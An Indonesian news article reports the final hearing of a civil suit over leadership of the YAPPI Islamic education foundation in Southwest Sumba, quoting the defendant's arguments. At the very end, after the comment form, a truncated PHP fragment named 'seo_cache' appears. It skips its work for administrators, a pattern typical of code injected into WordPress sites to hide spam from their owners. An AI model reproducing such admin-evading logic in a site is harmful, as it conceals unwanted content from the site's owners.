Hukum

Sidang Terakhir Gugatan Perbuatan Melawan Hukum dalam Kisruh Kepengurusan YAPPI Kabupaten SBD, Samsi Pua Golo Optimis Hakim akan Putuskan Sesuai Fakta

×

Sidang Terakhir Gugatan Perbuatan Melawan Hukum dalam Kisruh Kepengurusan YAPPI Kabupaten SBD, Samsi Pua Golo Optimis Hakim akan Putuskan Sesuai Fakta

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM – Sidang terakhir gugatan perbuatan melawan hukum yang diajukan Jamaluddin Efendi Wungo mewakili Yayasan Pendidikan dan Pengajaran Islam (YAPPI) Kabupaten Sumba Barat Daya sebagai penggugat telah berlangsung.

Perkara gugatan perdata tertanggal 25 Juli 2025 dengan tergugat H. Samsi Pua Golo, ST ini berlangsung di Pengadilan Negeri Waikabubak, Sumba Barat pada Senin (20/10/2025).

Haji Bugis Bone dihadirkan penggugat untuk memberi keterangan sebagai saksi.

Dalam penjelasannya kepada awak media usai sidang itu, tergugat H. Samsi Pua Golo, ST optimis hakim akan memutuskan yang terbaik sesuai kebenaran fakta hukum.

“Seperti disampaikan tadi, sampai saat ini, sejak mereka menerima SK atau pelantikan apa pun namanya, saya tidak pernah diberitahukan secara resmi, secara formal tentang adanya pergantian pengurus,” ujarnya.

Ia menegaskan, setelah rapat tanggal 8 Agustus 2024 di Hotel Sinar Tambolaka batal atau gagal, pihaknya menganggap sudah tidak terjadi lagi pergantian apa-apa.

Karena itu ia melanjutkan beberapa operasional dalam rangka penyelamatan lembaga pendidikan itu.

Samsi mengaku, penyelamatan dilakukan mengingat keadaan kedaruratan yang sangat penting karena terjadi kekosongan.

“Ada siswa yang butuh belajar, guru yang harus mengajar dan harus digaji. Ada proses dana BOS yang harus melalui sebuah prosedur administrasi,” tandasnya.

Jika itu tidak dilakukan, maka pihaknya yakin kegiatan pendidikan di lembaga tersebut akan terbengkalai.

“Sementara kita adalah bagian dari anak bangsa yang wajib ikut mencerdaskan kehidupan bangsa, sehingga kami melakukan hal-hal yang positif dan tidak merugikan,” timpalnya lagi.

Tudingan perbuatan melawan hukum yang ditimpakan tidak relevan, karena pihaknya tidak merugikan siapa pun, justru malah menguntungkan.

Ada keuntungan bagi sekolah dan juga masyarakat serta yayasan.

“Kami sebagai (pengurus) yayasan juga terus terang, kami tidak ada gaji. Ini kerja ikhlas saja. Kalau dalam bahasa iman itu menunggu upahmu besar di surga,” timpalnya dalam bahasa rohani.

Sebenarnya, ungkap Ketua DPD PAN Kabupaten SBD ini, tidak ada hal-hal duniawi yang diperebutkan, bukan cari popularitas.

“Bukan cari apa-apa. Kita cari betul-betul ridha daripada Allah Ta’ala,” aku mantan Wakil Ketua DPRD SBD periode 2018-2024 ini.

Dirinya menandaskan, rapat Dewan Pembina YAPPI SBD pada tanggal 8 Agustus 2024 itu pun tidak sah dimana Ali Ahmad yang bukan pendiri YAPPI ikut menandatangani surat undangan rapat.

Padahal dalam AD/ART YAPPI Kabupaten SBD tidak tertera nama yang bersangkutan sebagai pendiri.

“Dia menandatangani undangan tanggal 8 Agustus 2024 sebagai pendiri, dan itu cacat formil. Ada orang yang bukan pengurus kemudian menandatangani (undangan) ini kan lucu,” imbuhnya.

Ditegaskan Samsi, pertemuan tanggal 8 Agustus 2024 itu sudah cacat formil, tidak memenuhi quorum, tidak memenuhi standar sesuai dengan anggaran dasar.

“Saya yakin hakim akan melihat fakta-fakta persidangan dan bisa memutuskan pada akhirnya sesuai dengan fakta-fakta yang seadil-adilnya,” pungkas tokoh Muhammadiyah SBD ini. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>